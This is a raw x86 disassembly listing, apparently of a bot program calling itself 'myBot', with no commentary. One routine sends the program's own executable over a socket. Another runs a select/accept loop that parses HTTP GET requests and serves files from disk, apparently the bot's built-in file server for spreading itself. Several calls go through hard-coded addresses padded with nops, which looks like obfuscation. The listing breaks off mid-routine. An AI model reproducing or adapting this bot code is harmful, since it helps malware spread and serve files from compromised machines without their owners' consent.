		dd 30BAE850h, 0A1590000h, 4E4220h, 4220A340h, 15EB004Eh
		dd 206A006Ah, 44B8AC68h, 0E0B5FF00h, 90FFFFF8h,	69FF45E8h
		dd 682CEB71h, 44B8D0h, 0F8E8858Dh, 0E850FFFFh, 0E3E8h
		dd 0C0855959h, 6A1575h,	0D8681B6Ah, 0FF0044B8h,	0FFF8E0B5h
		dd 17E890FFh, 6A7169FFh, 8D006A64h, 0FFFE9085h,	8DE850FFh
		dd 830000D0h, 13E90CC4h, 0E9FFFFF9h, 0FFFFF8C1h, 5F58016Ah
		dd 4C2C95Eh
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB664Dh
		push	0
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	dword_4E4594, eax
		mov	word ptr [ebp-10h], 2
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB2BF4h
		mov	[ebp-0Ch], eax
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 71AB2B66h
		mov	[ebp-0Eh], ax
		push	10h
		lea	eax, [ebp-10h]
		push	eax
		push	dword_4E4594
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414411
		push	dword_4E4594
		nop
		call	near ptr 71AB9639h
		nop
		call	near ptr 71AB4428h
		xor	eax, eax
		jmp	short locret_414414
; ---------------------------------------------------------------------------


loc_414411:				; CODE XREF: .XComp0:004143F9j
		push	1
		pop	eax

locret_414414:				; CODE XREF: .XComp0:0041440Fj
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 508h
		push	104h
		lea	eax, [ebp-108h]
		push	eax
		push	0
		call	near ptr 27A0000h
		nop
		push	offset aRb	; "rb"
		lea	eax, [ebp-108h]
		push	eax
		call	sub_4213F0
		pop	ecx
		pop	ecx
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_414453
		xor	eax, eax
		jmp	short locret_4144BB
; ---------------------------------------------------------------------------


loc_414453:				; CODE XREF: .XComp0:0041444Dj
					; .XComp0:0041449Bj
		mov	eax, [ebp-4]
		mov	eax, [eax+0Ch]
		and	eax, 10h
		test	eax, eax
		jnz	short loc_41449D
		push	dword ptr [ebp-4]
		push	1
		push	400h
		lea	eax, [ebp-508h]
		push	eax
		call	sub_4210E0
		add	esp, 10h
		push	0
		push	400h
		lea	eax, [ebp-508h]
		push	eax
		push	dword_4E4594
		nop
		call	near ptr 71AB428Ah
		push	1
		nop
		call	near ptr 27B048Ah
		jmp	short loc_414453
; ---------------------------------------------------------------------------


loc_41449D:				; CODE XREF: .XComp0:0041445Ej
		push	dword ptr [ebp-4]
		call	sub_41EC50
		pop	ecx
		push	dword_4E4594
		nop
		call	near ptr 71AB9639h
		call	near ptr 71AB4428h
		nop
		push	1
		pop	eax

locret_4144BB:				; CODE XREF: .XComp0:00414451j
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4144BD	proc near		; DATA XREF: sub_4021E5+3768o
					; .XComp0:0040E726o

var_2918	= dword	ptr -2918h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2800	= dword	ptr -2800h
var_27FC	= dword	ptr -27FCh
var_27F8	= dword	ptr -27F8h
var_26FC	= dword	ptr -26FCh
var_26F8	= byte ptr -26F8h
var_2470	= byte ptr -2470h
var_236C	= dword	ptr -236Ch
var_2364	= dword	ptr -2364h
var_2360	= dword	ptr -2360h
var_235C	= dword	ptr -235Ch
var_2358	= dword	ptr -2358h
var_234C	= byte ptr -234Ch
var_2248	= dword	ptr -2248h
var_2244	= dword	ptr -2244h
var_2240	= word ptr -2240h
var_223E	= word ptr -223Eh
var_223C	= dword	ptr -223Ch
var_2230	= byte ptr -2230h
var_2030	= byte ptr -2030h
var_1030	= dword	ptr -1030h
var_102C	= dword	ptr -102Ch
var_1028	= dword	ptr -1028h
var_1024	= dword	ptr -1024h
var_1020	= dword	ptr -1020h
var_101C	= dword	ptr -101Ch
var_1018	= byte ptr -1018h
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2918h
		call	sub_421EE0
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ecx, 0ECh
		lea	edi, [ebp+var_26FC]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_101C],	eax
		mov	eax, [ebp+var_101C]
		mov	dword ptr [eax+3ACh], 1
		mov	[ebp+var_2244],	offset dword_4E45A0
		mov	[ebp+var_2248],	1
		push	10h
		push	0
		lea	eax, [ebp+var_2240]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_2240],	2
		push	[ebp+var_236C]
		call	dword_4E1700	; ntohs
		mov	[ebp+var_223E],	ax
		and	[ebp+var_223C],	0
		push	0
		push	1


loc_414543:				; DATA XREF: .XComp0:00452D10o
					; .XComp0:0045320Co
		push	2
		call	dword_4E1780	; socket
		mov	[ebp+var_102C],	eax
		cmp	[ebp+var_102C],	0FFFFFFFFh
		jz	loc_414AF5
		mov	eax, [ebp+var_2364]
		imul	eax, 234h
		mov	ecx, [ebp+var_102C]
		mov	dword_454624[eax], ecx
		push	10h
		lea	eax, [ebp+var_2240]
		push	eax
		push	[ebp+var_102C]
		call	dword_4E172C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_414AF5
		push	7FFFFFFFh
		push	[ebp+var_102C]
		call	dword_4E1728	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_414AF5
		lea	eax, [ebp+var_2248]
		push	eax
		push	8004667Eh
		push	[ebp+var_102C]
		call	dword_4E179C	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_414AF5
		and	[ebp+var_2800],	0
		and	[ebp+var_2904],	0


loc_4145DD:				; CODE XREF: sub_4144BD+198j
		and	[ebp+var_2908],	0
		jmp	short loc_4145F3
; ---------------------------------------------------------------------------


loc_4145E6:				; CODE XREF: sub_4144BD:loc_414618j
		mov	eax, [ebp+var_2908]
		inc	eax
		mov	[ebp+var_2908],	eax


loc_4145F3:				; CODE XREF: sub_4144BD+127j
		mov	eax, [ebp+var_2908]
		cmp	eax, [ebp+var_2800]
		jnb	short loc_41461A
		mov	eax, [ebp+var_2908]
		mov	eax, [ebp+eax*4+var_27FC]
		cmp	eax, [ebp+var_102C]
		jnz	short loc_414618
		jmp	short loc_41461A
; ---------------------------------------------------------------------------


loc_414618:				; CODE XREF: sub_4144BD+157j
		jmp	short loc_4145E6
; ---------------------------------------------------------------------------


loc_41461A:				; CODE XREF: sub_4144BD+142j
					; sub_4144BD+159j
		mov	eax, [ebp+var_2908]
		cmp	eax, [ebp+var_2800]
		jnz	short loc_414651
		cmp	[ebp+var_2800],	40h
		jnb	short loc_414651
		mov	eax, [ebp+var_2908]
		mov	ecx, [ebp+var_102C]
		mov	[ebp+eax*4+var_27FC], ecx
		mov	eax, [ebp+var_2800]
		inc	eax
		mov	[ebp+var_2800],	eax


loc_414651:				; CODE XREF: sub_4144BD+169j
					; sub_4144BD+172j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4145DD
		mov	eax, [ebp+var_102C]
		mov	[ebp+var_1020],	eax


loc_414663:				; CODE XREF: sub_4144BD:loc_414AF0j
		push	1
		pop	eax
		test	eax, eax
		jz	loc_414AF5
		push	41h
		pop	ecx
		lea	esi, [ebp+var_2800]
		lea	edi, [ebp+var_2904]
		rep movsd
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_2904]
		push	eax
		mov	eax, [ebp+var_1020]
		inc	eax
		push	eax
		call	dword_4E16E8	; select
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4146A4
		jmp	loc_414AF5
; ---------------------------------------------------------------------------


loc_4146A4:				; CODE XREF: sub_4144BD+1E0j
		and	[ebp+var_1030],	0
		jmp	short loc_4146BA
; ---------------------------------------------------------------------------


loc_4146AD:				; CODE XREF: sub_4144BD+26Cj
					; sub_4144BD:loc_414AEBj
		mov	eax, [ebp+var_1030]
		inc	eax
		mov	[ebp+var_1030],	eax


loc_4146BA:				; CODE XREF: sub_4144BD+1EEj
		mov	eax, [ebp+var_1030]
		cmp	eax, [ebp+var_1020]
		ja	loc_414AF0
		lea	eax, [ebp+var_2904]
		push	eax
		push	[ebp+var_1030]
		call	dword_4E15EC	; __WSAFDIsSet
		test	eax, eax
		jz	loc_414AEB
		mov	eax, [ebp+var_1030]
		cmp	eax, [ebp+var_102C]
		jnz	loc_4147C4
		mov	[ebp+var_1028],	10h
		lea	eax, [ebp+var_1028]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_102C]
		call	dword_4E1794	; accept
		mov	[ebp+var_1024],	eax
		cmp	[ebp+var_1024],	0FFFFFFFFh
		jnz	short loc_41472B
		jmp	short loc_4146AD
; ---------------------------------------------------------------------------


loc_41472B:				; CODE XREF: sub_4144BD+26Aj
					; sub_4144BD+2E6j
		and	[ebp+var_290C],	0
		jmp	short loc_414741
; ---------------------------------------------------------------------------


loc_414734:				; CODE XREF: sub_4144BD:loc_414766j
		mov	eax, [ebp+var_290C]
		inc	eax
		mov	[ebp+var_290C],	eax


loc_414741:				; CODE XREF: sub_4144BD+275j
		mov	eax, [ebp+var_290C]
		cmp	eax, [ebp+var_2800]
		jnb	short loc_414768
		mov	eax, [ebp+var_290C]
		mov	eax, [ebp+eax*4+var_27FC]
		cmp	eax, [ebp+var_1024]
		jnz	short loc_414766
		jmp	short loc_414768
; ---------------------------------------------------------------------------


loc_414766:				; CODE XREF: sub_4144BD+2A5j
		jmp	short loc_414734
; ---------------------------------------------------------------------------


loc_414768:				; CODE XREF: sub_4144BD+290j
					; sub_4144BD+2A7j
		mov	eax, [ebp+var_290C]
		cmp	eax, [ebp+var_2800]
		jnz	short loc_41479F
		cmp	[ebp+var_2800],	40h
		jnb	short loc_41479F
		mov	eax, [ebp+var_290C]
		mov	ecx, [ebp+var_1024]
		mov	[ebp+eax*4+var_27FC], ecx
		mov	eax, [ebp+var_2800]
		inc	eax
		mov	[ebp+var_2800],	eax


loc_41479F:				; CODE XREF: sub_4144BD+2B7j
					; sub_4144BD+2C0j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41472B
		mov	eax, [ebp+var_1024]
		cmp	eax, [ebp+var_1020]
		jbe	short loc_4147BF
		mov	eax, [ebp+var_1024]
		mov	[ebp+var_1020],	eax


loc_4147BF:				; CODE XREF: sub_4144BD+2F4j
		jmp	loc_414AEB
; ---------------------------------------------------------------------------


loc_4147C4:				; CODE XREF: sub_4144BD+236j
		push	1000h
		push	0
		lea	eax, [ebp+var_2030]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	1000h
		push	0
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	0
		push	1000h
		lea	eax, [ebp+var_2030]
		push	eax
		push	[ebp+var_1030]
		call	dword_4E1718	; recv
		test	eax, eax
		jg	loc_4148AF
		push	[ebp+var_1030]
		call	dword_4E1798	; closesocket


loc_41481E:				; CODE XREF: sub_4144BD+3E7j
		and	[ebp+var_2910],	0
		jmp	short loc_414834
; ---------------------------------------------------------------------------


loc_414827:				; CODE XREF: sub_4144BD:loc_41489Ej
		mov	eax, [ebp+var_2910]
		inc	eax
		mov	[ebp+var_2910],	eax


loc_414834:				; CODE XREF: sub_4144BD+368j
		mov	eax, [ebp+var_2910]
		cmp	eax, [ebp+var_2800]
		jnb	short loc_4148A0
		mov	eax, [ebp+var_2910]
		mov	eax, [ebp+eax*4+var_27FC]
		cmp	eax, [ebp+var_1030]
		jnz	short loc_41489E


loc_414857:				; CODE XREF: sub_4144BD+3D0j
		mov	eax, [ebp+var_2800]
		dec	eax
		cmp	[ebp+var_2910],	eax
		jnb	short loc_41488F
		mov	eax, [ebp+var_2910]
		mov	ecx, [ebp+var_2910]
		mov	ecx, [ebp+ecx*4+var_27F8]
		mov	[ebp+eax*4+var_27FC], ecx
		mov	eax, [ebp+var_2910]
		inc	eax
		mov	[ebp+var_2910],	eax
		jmp	short loc_414857
; ---------------------------------------------------------------------------


loc_41488F:				; CODE XREF: sub_4144BD+3A7j
		mov	eax, [ebp+var_2800]
		dec	eax
		mov	[ebp+var_2800],	eax
		jmp	short loc_4148A0
; ---------------------------------------------------------------------------


loc_41489E:				; CODE XREF: sub_4144BD+398j
		jmp	short loc_414827
; ---------------------------------------------------------------------------


loc_4148A0:				; CODE XREF: sub_4144BD+383j
					; sub_4144BD+3DFj
		xor	eax, eax
		test	eax, eax
		jnz	loc_41481E
		jmp	loc_414AEB
; ---------------------------------------------------------------------------


loc_4148AF:				; CODE XREF: sub_4144BD+34Fj
		push	104h
		push	0
		lea	eax, [ebp+var_234C]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_4148DD
; ---------------------------------------------------------------------------


loc_4148CF:				; CODE XREF: sub_4144BD:loc_414AE6j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_4148DD:				; CODE XREF: sub_4144BD+410j
		lea	eax, [ebp+var_2030]
		push	eax
		call	sub_41EBD0
		pop	ecx
		cmp	[ebp+var_4], eax
		jnb	loc_414AEB
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	cl, [ebp+ecx+var_2030]
		mov	[ebp+eax+var_1018], cl
		mov	eax, [ebp+var_4]
		movsx	eax, [ebp+eax+var_2030]
		cmp	eax, 0Ah
		jnz	loc_414AE6
		push	offset aGet	; "GET "
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_421B10
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_414990
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_41EBD0
		pop	ecx
		cmp	eax, 5
		jbe	short loc_414990
		push	offset asc_44B900 ; " "
		push	offset asc_44B904 ; " "
		push	offset aGet_0	; "GET "
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_421B10
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421B10
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4227D0
		pop	ecx
		pop	ecx
		mov	[ebp+var_2244],	eax
		push	[ebp+var_2244]
		lea	eax, [ebp+var_234C]
		push	eax
		call	sub_422580
		pop	ecx
		pop	ecx
		jmp	loc_414ACC
; ---------------------------------------------------------------------------


loc_414990:				; CODE XREF: sub_4144BD+473j
					; sub_4144BD+485j
		push	offset asc_44B910 ; "\r\n"
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_414ACC


loc_4149AB:				; CODE XREF: sub_4144BD+574j
		and	[ebp+var_2914],	0
		jmp	short loc_4149C1
; ---------------------------------------------------------------------------


loc_4149B4:				; CODE XREF: sub_4144BD:loc_414A2Bj
		mov	eax, [ebp+var_2914]
		inc	eax
		mov	[ebp+var_2914],	eax


loc_4149C1:				; CODE XREF: sub_4144BD+4F5j
		mov	eax, [ebp+var_2914]
		cmp	eax, [ebp+var_2800]
		jnb	short loc_414A2D
		mov	eax, [ebp+var_2914]
		mov	eax, [ebp+eax*4+var_27FC]
		cmp	eax, [ebp+var_1030]
		jnz	short loc_414A2B


loc_4149E4:				; CODE XREF: sub_4144BD+55Dj
		mov	eax, [ebp+var_2800]
		dec	eax
		cmp	[ebp+var_2914],	eax
		jnb	short loc_414A1C
		mov	eax, [ebp+var_2914]
		mov	ecx, [ebp+var_2914]
		mov	ecx, [ebp+ecx*4+var_27F8]
		mov	[ebp+eax*4+var_27FC], ecx
		mov	eax, [ebp+var_2914]
		inc	eax
		mov	[ebp+var_2914],	eax
		jmp	short loc_4149E4
; ---------------------------------------------------------------------------


loc_414A1C:				; CODE XREF: sub_4144BD+534j
		mov	eax, [ebp+var_2800]
		dec	eax
		mov	[ebp+var_2800],	eax
		jmp	short loc_414A2D
; ---------------------------------------------------------------------------


loc_414A2B:				; CODE XREF: sub_4144BD+525j
		jmp	short loc_4149B4
; ---------------------------------------------------------------------------


loc_414A2D:				; CODE XREF: sub_4144BD+510j
					; sub_4144BD+56Cj
		xor	eax, eax
		test	eax, eax
		jnz	loc_4149AB
		lea	eax, [ebp+var_234C]
		test	eax, eax
		jz	short loc_414ABE
		lea	eax, [ebp+var_234C]
		push	eax
		call	sub_41EBD0
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp+var_2470]
		push	eax
		call	sub_41EBD0
		pop	ecx
		add	esi, eax
		cmp	esi, 104h
		jnb	short loc_414AB0
		and	[ebp+var_2918],	0
		lea	eax, [ebp+var_2918]
		push	eax
		push	8004667Eh
		push	[ebp+var_1030]
		call	dword_4E179C	; ioctlsocket
		push	[ebp+var_2364]
		push	[ebp+var_2358]
		lea	eax, [ebp+var_234C]
		push	eax
		lea	eax, [ebp+var_2470]
		push	eax
		push	[ebp+var_1030]
		call	sub_414D5E
		add	esp, 14h
		jmp	short loc_414ABC
; ---------------------------------------------------------------------------


loc_414AB0:				; CODE XREF: sub_4144BD+5A8j
		push	[ebp+var_1030]
		call	dword_4E1798	; closesocket


loc_414ABC:				; CODE XREF: sub_4144BD+5F1j
		jmp	short loc_414ACA
; ---------------------------------------------------------------------------


loc_414ABE:				; CODE XREF: sub_4144BD+582j
		push	[ebp+var_1030]
		call	dword_4E1798	; closesocket


loc_414ACA:				; CODE XREF: sub_4144BD:loc_414ABCj
		jmp	short loc_414AEB
; ---------------------------------------------------------------------------


loc_414ACC:				; CODE XREF: sub_4144BD+4CEj
					; sub_4144BD+4E8j
		push	1000h
		push	0
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		or	[ebp+var_8], 0FFFFFFFFh


loc_414AE6:				; CODE XREF: sub_4144BD+458j
		jmp	loc_4148CF
; ---------------------------------------------------------------------------


loc_414AEB:				; CODE XREF: sub_4144BD+224j
					; sub_4144BD:loc_4147BFj ...
		jmp	loc_4146AD
; ---------------------------------------------------------------------------


loc_414AF0:				; CODE XREF: sub_4144BD+209j
		jmp	loc_414663
; ---------------------------------------------------------------------------


loc_414AF5:				; CODE XREF: sub_4144BD+9Bj
					; sub_4144BD+D1j ...
		call	dword_4E1694	; WSAGetLastError
		push	eax
		push	offset unk_44B914
		lea	eax, [ebp+var_2230]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		cmp	[ebp+var_235C],	0
		jnz	short loc_414B3D
		push	0
		push	[ebp+var_2360]
		lea	eax, [ebp+var_2230]
		push	eax
		lea	eax, [ebp+var_26F8]
		push	eax
		push	[ebp+var_26FC]
		call	sub_40B00F
		add	esp, 14h


loc_414B3D:				; CODE XREF: sub_4144BD+65Aj
		lea	eax, [ebp+var_2230]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	[ebp+var_102C]
		call	dword_4E1798	; closesocket
		push	[ebp+var_2364]
		call	sub_40D802
		pop	ecx
		push	0
		call	near ptr 2830000h
		nop
		pop	edi
		pop	esi
		leave
		retn	4
sub_4144BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B70	proc near		; DATA XREF: sub_414D5E+341o

var_1658	= dword	ptr -1658h
var_15D4	= byte ptr -15D4h
var_14D0	= byte ptr -14D0h
var_12C4	= dword	ptr -12C4h
var_12C0	= dword	ptr -12C0h
var_12B0	= dword	ptr -12B0h
var_12A8	= byte ptr -12A8h
var_11A4	= byte ptr -11A4h
var_1170	= byte ptr -1170h
var_170		= byte ptr -170h
var_128		= dword	ptr -128h
var_124		= byte ptr -124h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1658h
		call	sub_421EE0
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ecx, 0ECh
		lea	edi, [ebp+var_1658]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_128], eax
		mov	eax, [ebp+var_128]
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_15D4]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_14D0]
		push	eax
		lea	eax, [ebp+var_12A8]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		cmp	[ebp+var_12B0],	0
		jz	short loc_414BF0
		push	offset aTextHtml ; "text/html"
		lea	eax, [ebp+var_11A4]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_414C03
; ---------------------------------------------------------------------------


loc_414BF0:				; CODE XREF: sub_414B70+69j
		push	offset aApplicationOct ; "application/octet-stream"
		lea	eax, [ebp+var_11A4]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_414C03:				; CODE XREF: sub_414B70+7Ej
		push	46h
		lea	eax, [ebp+var_170]
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	0
		push	0
		push	409h
		call	near ptr 2870000h
		nop
		push	1Eh
		lea	eax, [ebp+var_124]
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	0
		push	0
		push	409h
		nop
		call	near ptr 2861614h
		cmp	[ebp+var_12C4],	0FFFFFFFFh
		jnz	short loc_414C8D
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_170]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_170]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_170]
		push	eax
		lea	eax, [ebp+var_11A4]
		push	eax
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		lea	eax, [ebp+var_1170]
		push	eax
		call	sub_4219C0
		add	esp, 24h
		jmp	short loc_414CD8
; ---------------------------------------------------------------------------


loc_414C8D:				; CODE XREF: sub_414B70+D4j
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_170]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_170]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_170]
		push	eax
		push	[ebp+var_12C4]
		lea	eax, [ebp+var_11A4]
		push	eax
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		lea	eax, [ebp+var_1170]
		push	eax
		call	sub_4219C0
		add	esp, 28h


loc_414CD8:				; CODE XREF: sub_414B70+11Bj
		push	0
		lea	eax, [ebp+var_1170]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1170]
		push	eax
		push	[ebp+var_1658]
		call	dword_4E1750	; send
		cmp	[ebp+var_12B0],	0
		jnz	short loc_414D1A
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_1658]
		call	sub_41590E
		pop	ecx
		pop	ecx
		jmp	short loc_414D38
; ---------------------------------------------------------------------------


loc_414D1A:				; CODE XREF: sub_414B70+192j
		lea	eax, [ebp+var_12A8]
		push	eax
		push	0
		push	[ebp+var_1658]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_415120
		add	esp, 10h


loc_414D38:				; CODE XREF: sub_414B70+1A8j
		push	[ebp+var_1658]
		call	dword_4E1798	; closesocket
		push	[ebp+var_12C0]
		call	sub_40D802
		pop	ecx
		push	0
		nop
		call	near ptr 2830000h
		pop	edi
		pop	esi
		leave
		retn	4
sub_414B70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D5E	proc near		; CODE XREF: sub_4144BD+5E9p

var_8D8		= dword	ptr -8D8h
var_8D4		= dword	ptr -8D4h
var_8D0		= dword	ptr -8D0h
var_8CC		= byte ptr -8CCh
var_8CB		= byte ptr -8CBh
var_8CA		= byte ptr -8CAh
var_7C8		= dword	ptr -7C8h
var_7C4		= dword	ptr -7C4h
var_740		= byte ptr -740h
var_63C		= byte ptr -63Ch
var_430		= dword	ptr -430h
var_42C		= dword	ptr -42Ch
var_41C		= dword	ptr -41Ch
var_415		= byte ptr -415h
var_414		= byte ptr -414h
var_310		= byte ptr -310h
var_30C		= byte ptr -30Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8D8h
		push	esi
		and	[ebp+var_7C8], 0
		push	104h
		push	0
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Fh
		jz	short loc_414DA9
		push	[ebp+arg_8]
		push	offset aS_21	; "\\%s"
		lea	eax, [ebp+var_8CC]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_414DC6
; ---------------------------------------------------------------------------


loc_414DA9:				; CODE XREF: sub_414D5E+30j
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	5Ch
		push	[ebp+arg_8]
		push	offset aS_22	; "%s"
		lea	eax, [ebp+var_8CC]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_414DC6:				; CODE XREF: sub_414D5E+49j
		and	[ebp+var_108], 0
		and	[ebp+var_10C], 0
		jmp	short loc_414DF0
; ---------------------------------------------------------------------------


loc_414DD6:				; CODE XREF: sub_414D5E:loc_414EBFj
		mov	eax, [ebp+var_108]
		inc	eax
		mov	[ebp+var_108], eax
		mov	eax, [ebp+var_10C]
		inc	eax
		mov	[ebp+var_10C], eax


loc_414DF0:				; CODE XREF: sub_414D5E+76j
		lea	eax, [ebp+var_8CC]
		push	eax
		call	sub_41EBD0
		pop	ecx
		cmp	[ebp+var_108], eax
		jnb	loc_414EC4
		mov	esi, [ebp+var_108]
		inc	esi
		inc	esi
		lea	eax, [ebp+var_8CC]
		push	eax
		call	sub_41EBD0
		pop	ecx
		cmp	esi, eax
		jnb	short loc_414E79
		mov	eax, [ebp+var_108]
		movsx	eax, [ebp+eax+var_8CC]
		cmp	eax, 25h
		jnz	short loc_414E79
		mov	eax, [ebp+var_108]
		movsx	eax, [ebp+eax+var_8CB]


loc_414E43:				; DATA XREF: .XComp0:00452D3Co
					; .XComp0:0045312Co ...
		cmp	eax, 32h
		jnz	short loc_414E79
		mov	eax, [ebp+var_108]
		movsx	eax, [ebp+eax+var_8CA]
		cmp	eax, 30h
		jnz	short loc_414E79
		mov	eax, [ebp+var_10C]
		mov	[ebp+eax+var_414], 20h
		mov	eax, [ebp+var_108]
		inc	eax
		inc	eax
		mov	[ebp+var_108], eax
		jmp	short loc_414EBF
; ---------------------------------------------------------------------------


loc_414E79:				; CODE XREF: sub_414D5E+C2j
					; sub_414D5E+D5j ...
		mov	eax, [ebp+var_108]
		movsx	eax, [ebp+eax+var_8CC]
		cmp	eax, 2Fh
		jnz	short loc_414E98
		mov	[ebp+var_8D4], 5Ch
		jmp	short loc_414EAC
; ---------------------------------------------------------------------------


loc_414E98:				; CODE XREF: sub_414D5E+12Cj
		mov	eax, [ebp+var_108]
		movsx	eax, [ebp+eax+var_8CC]
		mov	[ebp+var_8D4], eax


loc_414EAC:				; CODE XREF: sub_414D5E+138j
		mov	eax, [ebp+var_10C]
		mov	cl, byte ptr [ebp+var_8D4]
		mov	[ebp+eax+var_414], cl


loc_414EBF:				; CODE XREF: sub_414D5E+119j
		jmp	loc_414DD6
; ---------------------------------------------------------------------------


loc_414EC4:				; CODE XREF: sub_414D5E+A5j
		lea	eax, [ebp+var_414]
		push	eax
		push	[ebp+arg_4]
		push	offset aSS_1	; "%s%s"
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	offset asc_44BB60 ; "\n"
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4227D0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	near ptr 27C0595h
		nop
		mov	[ebp+var_8D8], eax
		cmp	[ebp+var_8D8], 10h
		jz	short loc_414F1C
		cmp	[ebp+var_8D8], 0FFFFFFFFh
		jz	short loc_414F28
		jmp	short loc_414F38
; ---------------------------------------------------------------------------


loc_414F1C:				; CODE XREF: sub_414D5E+1B1j
		mov	[ebp+var_7C8], 1
		jmp	short loc_414F38
; ---------------------------------------------------------------------------


loc_414F28:				; CODE XREF: sub_414D5E+1BAj
		push	[ebp+arg_0]
		call	dword_4E1798	; closesocket
		xor	eax, eax
		jmp	loc_41511D
; ---------------------------------------------------------------------------


loc_414F38:				; CODE XREF: sub_414D5E+1BCj
					; sub_414D5E+1C8j
		mov	eax, [ebp+var_10C]
		movsx	eax, [ebp+eax+var_415]
		cmp	eax, 5Ch
		jnz	short loc_414F55
		mov	[ebp+var_7C8], 1


loc_414F55:				; CODE XREF: sub_414D5E+1EBj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_7C4], eax
		and	dword ptr [ebp-418h], 0
		cmp	[ebp+var_7C8], 0
		jz	short loc_414FE3
		cmp	[ebp+arg_C], 0
		jz	short loc_414FD1
		push	offset asc_44BB64 ; "*"
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_422590
		pop	ecx
		pop	ecx
